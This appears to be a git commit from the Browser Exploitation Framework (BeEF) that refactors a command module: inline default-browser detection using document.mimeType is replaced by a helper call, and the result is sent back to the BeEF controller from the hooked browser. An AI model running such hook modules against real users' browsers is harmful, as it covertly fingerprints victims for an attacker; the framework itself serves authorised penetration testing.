Add 'beef.os.getDefaultBrowser'

This commit is contained in:
bcoles
2014-03-20 02:49:08 +10:30
parent 97898d453c
commit 7d6eb4b714
6 changed files with 27 additions and 17 deletions

View File

@@ -3,25 +3,9 @@
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Written by unsticky
// For more information see http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
beef.execute(function() {
var mt = document.mimeType;
if (mt) {
if (mt == "Safari Document") result = "Safari";
if (mt == "Firefox HTML Document") result = "Firefox";
if (mt == "Chrome HTML Document") result = "Chrome";
if (mt == "HTML Document") result = "Internet Explorer";
if (mt == "Opera Web Document") result = "Opera";
} else {
result = "Unknown";
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser="+result);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser="+beef.os.getDefaultBrowser());
});